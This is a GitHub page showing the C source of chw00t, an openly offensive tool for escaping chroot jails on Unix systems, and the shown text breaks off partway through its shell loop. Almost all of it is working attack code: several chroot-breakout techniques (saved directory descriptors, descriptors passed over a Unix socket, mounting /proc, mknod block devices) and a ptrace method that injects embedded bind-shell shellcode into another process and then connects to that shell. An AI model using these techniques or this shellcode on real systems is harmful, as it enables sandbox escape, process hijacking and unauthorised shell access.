forked from earthquake/chw00t
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathchw00t.c
1414 lines (1293 loc) · 34 KB
/
chw00t.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* Balazs Bucsay wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. [email protected]
* (Lincense is stolen from Poul-Henning Kamp)
* ----------------------------------------------------------------------------
*/
#if __sun
// on Solaris: gcc chw00t.c -o chw00t -lsocket
#define _XOPEN_SOURCE 1
#define _XOPEN_SOURCE_EXTENDED 1
#define __EXTENSIONS__
#endif
#include <sys/types.h>
#if !__sun
#include <sys/ptrace.h>
#endif
#include <sys/wait.h>
#include <sys/un.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <dirent.h>
#include <getopt.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/user.h>
#if __linux__
#include <sys/mount.h>
#include <sys/sysmacros.h>
#endif
#if __OpenBSD__ || __DragonFly__
#include <machine/reg.h>
#endif
//FreeBSD
#ifndef PTRACE_ATTACH
#define PTRACE_ATTACH PT_ATTACH
#define PTRACE_DETACH PT_DETACH
#define PTRACE_GETREGS PT_GETREGS
#define PTRACE_POKEDATA PT_WRITE_D
#endif
#if __FreeBSD__ || __OpenBSD__ || __DragonFly__
#define X86_SHELLCODE_LEN 73
#define X86_SHELLCODE_PORT1 6
#define X86_SHELLCODE_PORT2 7
#define X86_SHELLCODE \
"\x31\xc0\x50\x68\xff\x02\x11\x5c\x89\xe7\x50\x6a\x01\x6a\x02" \
"\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89" \
"\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58" \
"\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f" \
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"
#if __x86_64__
#define X64_SHELLCODE_LEN 93
#define X64_SHELLCODE_PORT1 19
#define X64_SHELLCODE_PORT2 20
#define X64_SHELLCODE \
"\x6a\x61\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52" \
"\x48\xba\x00\x02\x11\x5c\x00\x00\x00\x00\x52\x48\x89\xe6\x6a" \
"\x10\x5a\x04\x66\x0f\x05\x48\x31\xf6\x6a\x6a\x58\x0f\x05\x99" \
"\x04\x1e\x0f\x05\x48\x89\xc7\x6a\x5a\x58\x0f\x05\xff\xc6\x04" \
"\x5a\x0f\x05\xff\xc6\x04\x59\x0f\x05\x52\x48\xbf\x2f\x2f\x62" \
"\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x04" \
"\x39\x0f\x05"
#endif
#endif
//\FreeBSD
#if __linux__
#define X86_SHELLCODE_LEN 78
#define X86_SHELLCODE_PORT1 21
#define X86_SHELLCODE_PORT2 22
#define X86_SHELLCODE \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
#if __x86_64__
#define X64_SHELLCODE_LEN 86
#define X64_SHELLCODE_PORT1 20
#define X64_SHELLCODE_PORT2 21
#define X64_SHELLCODE \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52" \
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31" \
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f" \
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" \
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" \
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
#endif
#endif
#define MAX_DEPTH 255
#define BUFLEN 255*16
#define SHELLNUM 11
#define FSNUM 6
#if __linux__
#define SOCKETNAME "#anonsocket"
#else
#define SOCKETNAME "/anonsocket"
#endif
#ifndef OPEN_MAX
#define OPEN_MAX 255
#endif
#ifndef PID_MAX
#define PID_MAX 65535 // 2^16-1
#endif
// symlinks on shells could result in segfault on solaris
char *shells[] = {"/bin/bash", "/bin/sh", "/bin/dash", "/bin/ksh",
"/bin/csh", "/usr/bin/sh", "/usr/bin/bash",
"/bin/ksh", "/usr/bin/csh", "/usr/bin/dash",
"/usr/bin/zsh" };
#if !__OpenBSD__ && !__NetBSD__
int send_fd(int sock, const int fd)
{
struct {
struct cmsghdr h;
int fd;
} buffer;
struct msghdr msghdr;
char nothing = '!';
struct iovec nothing_ptr;
struct cmsghdr *cmsg;
nothing_ptr.iov_base = ¬hing;
nothing_ptr.iov_len = 1;
msghdr.msg_name = NULL;
msghdr.msg_namelen = 0;
msghdr.msg_iov = ¬hing_ptr;
msghdr.msg_iovlen = 1;
msghdr.msg_flags = 0;
msghdr.msg_control = &buffer;
msghdr.msg_controllen = sizeof(struct cmsghdr) + sizeof(int);
cmsg = CMSG_FIRSTHDR(&msghdr);
cmsg->cmsg_len = msghdr.msg_controllen;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
*((int *)CMSG_DATA(cmsg)) = fd;
return(sendmsg(sock, &msghdr, 0) >= 0 ? 0 : -1);
}
int recv_fd(int sock, int *fd)
{
struct {
struct cmsghdr h;
int fd;
} buffer;
struct msghdr msghdr;
char nothing;
struct iovec nothing_ptr;
struct cmsghdr *cmsg;
nothing_ptr.iov_base = ¬hing;
nothing_ptr.iov_len = 1;
msghdr.msg_name = NULL;
msghdr.msg_namelen = 0;
msghdr.msg_iov = ¬hing_ptr;
msghdr.msg_iovlen = 1;
msghdr.msg_flags = 0;
msghdr.msg_control = &buffer;
msghdr.msg_controllen = sizeof(struct cmsghdr) + sizeof(int);
cmsg = CMSG_FIRSTHDR(&msghdr);
cmsg->cmsg_len = msghdr.msg_controllen;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
// *((int *)CMSG_DATA(cmsg)) = -1;
if(recvmsg(sock, &msghdr, 0) < 0)
return(-1);
*fd = *((int *)CMSG_DATA(cmsg));
return 1;
}
#endif
#if !__sun
void putdata(pid_t child, long addr,
char *str, int len)
{ char *laddr;
int i, j;
union u {
long val;
char chars[sizeof(int)];
} data;
i = 0;
j = len / sizeof(int);
laddr = str;
while(i < j) {
memcpy(data.chars, laddr, sizeof(int));
ptrace(PTRACE_POKEDATA, child,
(void*)addr + i * sizeof(int), data.val);
++i;
laddr += sizeof(int);
}
j = len % sizeof(int);
if(j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child,
(void*)addr + i * sizeof(int), data.val);
}
}
#endif
void usage(char *tool)
{
#if !__NetBSD__
printf("Usage of chw00t - Unices chroot breaking tool:\n\n"
"[*] Methods:\n"
#if !__FreeBSD__ && !__OpenBSD__
" -0\tClassic\n"
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__
" -1\tClassic with saved file descriptor\n"
#endif
#if !__OpenBSD__
" -2\tUnix domain socket\n"
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__
" -3\tMount /proc\n"
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__ && !__sun
" -4\tMake block device (mknod)\n"
#endif
" -5\tMove out of chroot (nested)\n"
#if !__APPLE__ && !__sun && !__DragonFly__
" -6\tPtrace x32 for 32bit processes\n"
#if __x86_64__
" -7\tPtrace x64 for 64bit processes\n"
#endif
#endif
#if __linux__
" -9\tOpen filedescriptor (demo purposes)\n"
#endif
"\n"
"[*] Paramaters:\n"
" --pid PID\t\tPID to ptrace\n"
" --port PORT\t\tPort for listening (default: 4444)\n"
" --dir NAME\t\tChroot directory name\n"
" --nestdir NAME\tNested chroot directory name\n"
" --tempdir NAME\tNew temporary directory name\n\n"
"[*] Miscellaneous:\n"
" --help/-h\tThis help\n\n");
#else
printf("NetBSD is not supported at the moment\n");
#endif
}
int movetotheroot()
{
int i;
for (i = 0; i < MAX_DEPTH; i++)
{
if (chdir(".."))
return 0xDEADBEEF;
}
return 0;
}
#if !__FreeBSD__ && !__OpenBSD__ && !__NetBSD__
int classic(char *dir) {
int err, i;
struct stat dirstat;
if ((err = stat(dir, &dirstat)) == 0)
{
printf("[-] %s exists, please remove\n", dir);
return 0xDEADBEEF;
}
printf("[+] creating %s directory\n", dir);
if (mkdir(dir, 0700))
{
printf("[-] error creating %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] chrooting to %s\n", dir);
if (chroot(dir))
{
printf("[-] chroot failed to %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] change working directory to real root\n");
if (movetotheroot())
{
printf("[-] chdir failed to real root\n");
return 0xDEADBEEF;
}
printf("[+] chrooting to real root\n");
if (chroot("."))
{
printf("[-] chroot failed\n");
return 0xDEADBEEF;
}
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &dirstat)) == 0)
{
#if !__sun
return execve(shells[i], NULL, NULL);
#else
return execl(shells[i], NULL, NULL);
#endif
}
}
return 0;
}
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && !__NetBSD__
int classicfd(char *dir) {
int err, i;
struct stat dirstat;
DIR *dird;
if ((err = stat(dir, &dirstat)) == 0)
{
printf("[-] %s exists, please remove\n", dir);
return 0xDEADBEEF;
}
printf("[+] creating %s directory\n", dir);
if (mkdir(dir, 0700))
{
printf("[-] error creating %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] opening %s directory\n", dir);
if ((dird = opendir(".")) == NULL)
{
printf("[-] error opening %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] P: change working directory to: %s\n", dir);
if (chdir(dir))
{
printf("[-] P: cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] chrooting to %s\n", dir);
if (chroot("."))
{
printf("[-] chroot failed to %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] change back to the start directory\n");
if (fchdir(dirfd(dird)))
{
printf("[-] cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] change working directory to real root\n");
if (movetotheroot())
{
printf("[-] chdir failed to real root\n");
return 0xDEADBEEF;
}
printf("[+] chrooting to real root\n");
if (chroot("."))
{
printf("[-] chroot failed\n");
return 0xDEADBEEF;
}
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &dirstat)) == 0)
{
#if !__sun
return execve(shells[i], NULL, NULL);
#else
return execl(shells[i], NULL, NULL);
#endif
}
}
return 0;
}
#endif
#if !__OpenBSD__ && !__NetBSD__
int uds(char *dir)
{
int err, i, fd, fd2, socket_fd, connection_fd;
struct stat dirstat;
pid_t pid;
// no idea why, but without this ~16bytes, socket is not going to work
char solarisstackcorruption[16];
// omg.
DIR *dird;
struct sockaddr_un addr;
socklen_t addr_length;
if ((err = stat(dir, &dirstat)) == 0)
{
printf("[-] %s exists, please remove\n", dir);
return 0xDEADBEEF;
}
printf("[+] creating %s directory\n", dir);
if (mkdir(dir, 0700))
{
printf("[-] error creating %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] forking...\n");
pid = fork();
/* pid != 0 -> parent, create socket, opendir,
send fd to child thru unix domain socket
pid == 0 -> child, create socket, get fd from parent, breakout */
if (pid)
{
printf("[+] P: change working directory to: %s\n", dir);
if (chdir(dir))
{
printf("[-] P: cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] P: chrooting to %s\n", dir);
if (chroot("."))
{
printf("[-] P: chroot failed to %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] P: is sleeping for one second\n");
sleep(1);
printf("[+] P: creating socket\n");
if ((socket_fd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
{
printf("[-] P: error creating socket\n");
return 0xDEADBEEF;
}
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
snprintf(addr.sun_path, sizeof(addr.sun_path), "%s", SOCKETNAME);
#if !__FreeBSD__ && !__DragonFly__ && !__APPLE__ && !__sun
// setting abstract named socket here, to be accessible from chroot
// could be standard uds as well, just putting it under the new chroot
addr.sun_path[0] = 0;
#endif
printf("[+] P: connecting socket\n");
if (connect(socket_fd, (struct sockaddr *)&addr,
sizeof(struct sockaddr_un)))
{
printf("[-] P: error connecting socket: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] P: receiving file descriptor thru unix domain socket\n");
if ((err = recv_fd(socket_fd, &fd)) < 0)
{
printf("[-] P: error receiving file descriptor: %d\n", err);
return 0xDEADBEEF;
}
printf("[+] P: duplicating file descriptor\n");
if ((fd2 = dup(fd)) == -1)
{
printf("[-] P: error duplicating fd\n");
return 0xDEADBEEF;
}
printf("[+] P: change back to the start directory\n");
if (fchdir(fd))
{
printf("[-] P: cannot change directory: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] P: change working directory to real root\n");
if (movetotheroot())
{
printf("[-] P: cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] P: chrooting to real root\n");
if (chroot(".") != 0)
{
printf("[-] P: chroot failed\n");
return 0xDEADBEEF;
}
printf("[+] P: closing socket\n");
close(socket_fd);
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &dirstat)) == 0)
{
#if !__sun
return execve(shells[i], NULL, NULL);
#else
return execl(shells[i], NULL, NULL);
#endif
}
}
return 0;
}
else
{
printf("[+] C: opening %s directory\n", dir);
if ((dird = opendir(".")) == NULL)
{
printf("[-] C: error opening %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] C: creating socket\n");
if ((socket_fd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
{
printf("[-] C: error creating socket\n");
return 0xDEADBEEF;
}
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
#if !__FreeBSD__ && !__DragonFly__ && !__APPLE__ && !__sun
snprintf(addr.sun_path, sizeof(addr.sun_path), "%s", SOCKETNAME);
addr.sun_path[0] = 0;
#else
snprintf(addr.sun_path, sizeof(addr.sun_path), "%s/%s", dir, SOCKETNAME);
#endif
printf("[+] C: binding socket\n");
if(bind(socket_fd, (struct sockaddr *)&addr,
sizeof(struct sockaddr_un)) != 0)
{
printf("[-] C: error bind on socket: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] C: listening on socket\n");
if (listen(socket_fd, 5))
{
printf("[-] C: error listen on socket\n");
return 0xDEADBEEF;
}
printf("[+] C: waiting for connection\n");
if ((connection_fd = accept(socket_fd, (struct sockaddr *)&addr,
&addr_length)) == -1)
{
printf("[-] C: error accepting connection\n");
return 0xDEADBEEF;
}
printf("[+] C: sending %s's file descriptor thru unix "
"domain socket\n", dir);
if (send_fd(connection_fd, dirfd(dird)) == -1)
{
printf("[-] C: sending fd thru unix domain socket failed\n");
return 0xDEADBEEF;
}
sleep(1);
printf("[+] C: closing sockets\n");
close(connection_fd);
close(socket_fd);
printf("[+] C: exiting\n");
}
return 0;
}
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__ && !__NetBSD__
int mountproc(char *dir)
{
int err, i;
pid_t pid;
struct stat ownstat, otherstat;
DIR *dird;
struct dirent *pdirent;
char *rootname; // "/proc/$pid$/root"
int return_code = 0xDEADBEEF;
#if __sun
char optbuf[0x400];
char slashdir[255];
#endif
pid = getpid();
if ((rootname = malloc(8+sizeof(unsigned long long)+strlen(dir))) == NULL)
{
printf("[-] Error allocating memory\n");
goto safe_exit;
}
memset(rootname, 0, 8+sizeof(unsigned long long)+strlen(dir));
sprintf(rootname, "/%s/%llu/root", dir, (unsigned long long)pid);
printf("[+] looking for /proc\n");
if ((err = stat(dir, &ownstat)) != 0)
{
printf("[+] %s is not created, creating one\n", dir);
if (mkdir(dir, 0555))
{
printf("[-] error creating %s\n", dir);
goto safe_exit;
}
}
if ((err = stat(rootname, &ownstat)) != 0)
{
printf("[+] %s is created, mounting procfs\n", dir);
#if __linux__
if (mount("proc", dir, "proc", 0, NULL))
#elif __sun
memset(optbuf, 0, 0x400);
memset(slashdir, 0, sizeof(slashdir));
snprintf(slashdir, sizeof(slashdir)-1, "/%s", dir);
if (mount("proc", slashdir, 0x100, "proc", NULL, NULL, optbuf, 0x400))
#endif
{
printf("[-] error mounting %s: %s\n", dir, strerror(errno));
goto safe_exit;
}
if ((err = stat(rootname, &ownstat)) != 0)
{
printf("[-] cannot find my own root: %s\n", strerror(errno));
goto safe_exit;
}
}
if ((dird = opendir(dir)) == NULL)
{
printf("[-] error opening %s: %s\n", dir, strerror(errno));
goto safe_exit;
}
while ((pdirent = readdir(dird)) != NULL)
{
if ((rootname = realloc(rootname,
8+strlen(dir)+strlen(pdirent->d_name))) == NULL)
{
printf("[-] Error reallocating memory\n");
goto safe_exit;
}
sprintf(rootname, "/%s/%s/root", dir, pdirent->d_name);
if ((strncmp(pdirent->d_name, ".", 1)) &&
((err = stat(rootname, &otherstat)) == 0))
{
if (otherstat.st_ino != ownstat.st_ino)
{
if ((dird = opendir(rootname)) != NULL)
break;
}
}
}
printf("[+] change back to the start directory\n");
if (fchdir(dirfd(dird)))
{
printf("[-] cannot change directory\n");
goto safe_exit;
}
printf("[+] chrooting to real root\n");
if (chroot("."))
{
printf("[-] chroot failed\n");
goto safe_exit;
}
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &ownstat)) == 0)
{
#if !__sun
return_code = execve(shells[i], NULL, NULL);
#else
return_code = execl(shells[i], NULL, NULL);
#endif
goto safe_exit;
}
}
return_code = 0;
safe_exit:
if (rootname) free(rootname);
return return_code;
}
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__ && !__sun && !__NetBSD__
int makeblockdevice(char *devdir, char *mountdir)
{
int err, i, j, h;
struct stat dirstat;
char *shellname = NULL, *devname = NULL;
char *filesystems[] = {"ext4", "ext3", "ext2", "zfs",
"ufs", "ufs2" };
printf("[+] looking for %s\n", devdir);
if ((err = stat(devdir, &dirstat)) != 0)
{
printf("[+] %s is not created, creating one\n", devdir);
if (mkdir(devdir, 0555))
{
printf("[-] error creating %s\n", devdir);
return 0xDEADBEEF;
}
}
printf("[+] looking for %s\n", mountdir);
if ((err = stat(mountdir, &dirstat)) != 0)
{
printf("[+] %s is not created, creating one\n", mountdir);
if (mkdir(mountdir, 0555))
{
printf("[-] error creating %s\n", mountdir);
return 0xDEADBEEF;
}
}
if ((devname = malloc(strlen(devdir)+9)) == NULL)
{
printf("[-] error allocating memory\n");
return 0xDEADBEEF;
}
sprintf(devname, "/%s/chw00t", devdir);
// crawling for hda, hda, hdc - 3 block
for (i=0; i<196; i++)
{
if (mknod(devname, S_IFBLK, makedev(3, i)) != 0)
{
printf("[-] error creating block device: %s\n", strerror(errno));
}
for (j=0;j<FSNUM;j++)
{
if (!mount(devname, mountdir, filesystems[j], 0, NULL))
{
for (h=0; h<SHELLNUM; h++)
{
if ((shellname = realloc(shellname, strlen(mountdir)+
strlen(shells[h])+1)) == NULL)
{
printf("[-] error reallocating memory\n");
return 0xDEADBEEF;
}
memset(shellname, 0, strlen(mountdir)+strlen(shells[h])+1);
sprintf(shellname, "%s%s", mountdir, shells[h]);
if (!stat(shellname, &dirstat))
{
if (!chdir(mountdir) && !chroot("."))
{
free(shellname);
return execve(shells[h], NULL, NULL);
}
}
}
umount(mountdir);
}
}
unlink(devname);
}
// crawling for sd[a-p] - 8 block
for (i=0; i<256; i++)
{
if (mknod(devname, S_IFBLK, makedev(8, i)) != 0)
{
printf("[-] error creating block device: %s\n", strerror(errno));
}
for (j=0;j<FSNUM;j++)
{
if (!mount(devname, mountdir, filesystems[j], 0, NULL))
{
for (h=0; h<SHELLNUM; h++)
{
if ((shellname = realloc(shellname, strlen(mountdir)+
strlen(shells[h])+1)) == NULL)
{
printf("[-] error reallocating memory\n");
return 0xDEADBEEF;
}
memset(shellname, 0, strlen(mountdir)+strlen(shells[h])+1);
sprintf(shellname, "%s%s", mountdir, shells[h]);
if (!stat(shellname, &dirstat))
{
if (!chdir(mountdir) && !chroot("."))
{
free(shellname);
return execve(shells[h], NULL, NULL);
}
}
}
umount(mountdir);
}
}
unlink(devname);
}
return 0;
}
#endif
#if !__APPLE__ && !__sun && !__NetBSD__
int ptracepid(unsigned long long pid, int x64, unsigned int port)
{
pid_t traced_process;
#if __linux__
struct user_regs_struct regs;
#else
struct reg regs;
#endif
int socketfd, nready;
struct sockaddr_in serv_addr;
struct timeval ts;
fd_set fds;
unsigned char buf[BUFLEN+1];
int rv, one = 1;
int len_x86 = X86_SHELLCODE_LEN;
char shellcode_x86[] = X86_SHELLCODE;
#if __x86_64__
int len_x64 = X64_SHELLCODE_LEN;
char shellcode_x64[] = X64_SHELLCODE;
#endif
if (port)
{
#if __x86_64__
if (x64)
{
shellcode_x64[X64_SHELLCODE_PORT1] = (port >> 8) & 0xFF;
shellcode_x64[X64_SHELLCODE_PORT2] = port & 0xFF;
}
#endif
shellcode_x86[X86_SHELLCODE_PORT1] = (port >> 8) & 0xFF;
shellcode_x86[X86_SHELLCODE_PORT2] = port & 0xFF;
}
else port = 4444;
if (!pid)
{
// looking for a process, starting from our PID
for (pid=getppid()-2;pid>2;pid--)
{
if (!kill(pid, 0))
{
printf("[+] Found pid: %llu\n", pid);
printf("[+] PTRACE: attach process: %llu\n", pid);
traced_process = pid;
if (ptrace(PTRACE_ATTACH, traced_process, 0, 0))
{
printf("[-] error attaching process\n");
continue;
}
break;
}
}
}
else
{
printf("[+] PTRACE: attach process: %llu\n", pid);
traced_process = pid;
if (ptrace(PTRACE_ATTACH, traced_process, 0, 0))
{
printf("[-] error attaching process\n");
return 0xDEADBEEF;
}
}
wait(NULL);
#if __linux__
if (ptrace(PTRACE_GETREGS, traced_process, NULL, ®s))
#else
if (ptrace(PTRACE_GETREGS, traced_process, (void*)®s, 0))
#endif
{
printf("[-] error getting registers\n");
return 0xDEADBEEF;
}
printf("[+] PTRACE: overwrite original bytecode\n");
#if __x86_64__
if (x64)
{
#if __linux__
putdata(traced_process, regs.rip,
#else
putdata(traced_process, regs.r_rip,
#endif
shellcode_x64, len_x64);
}
else
{
#if __linux__
putdata(traced_process, regs.rip,
#else
putdata(traced_process, regs.r_rip,
#endif
shellcode_x86, len_x86);
}
#else
#if __linux__
putdata(traced_process, regs.eip,
#else
putdata(traced_process, regs.r_eip,
#endif
shellcode_x86, len_x86);
#endif
printf("[+] PTRACE: detach and sleep\n");
if (ptrace(PTRACE_DETACH, traced_process, 0, 0))
{
printf("[-] error detaching process\n");
return 0xDEADBEEF;
}
printf("[+] connecting to bindshell\n");
sleep(1);
if ((socketfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("[-] error@socket\n");
return 0xDEADBEEF;
}
#if __linux__
// cannot be statically linked because of glibc reasons...
setsockopt(socketfd, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
#else
setsockopt(socketfd, 6, TCP_NODELAY, &one, sizeof(one));
#endif
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(socketfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) <0)
{
printf("[-] error@connect: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] Connected!\n");
ts.tv_sec = 1; // 1 second
ts.tv_usec = 0;
while (1) {
FD_ZERO(&fds);
if (socketfd != 0)
FD_SET(socketfd, &fds);
FD_SET(0, &fds);
nready = select(socketfd + 1, &fds, (fd_set *) 0, (fd_set *) 0, &ts);
if (nready < 0) {
perror("select. Error");
return 1;
}
else if (nready == 0) {
ts.tv_sec = 1; // 1 second
ts.tv_usec = 0;
}
else if (socketfd != 0 && FD_ISSET(socketfd, &fds))
{
// start by reading a single byte
memset(buf, 0, BUFLEN);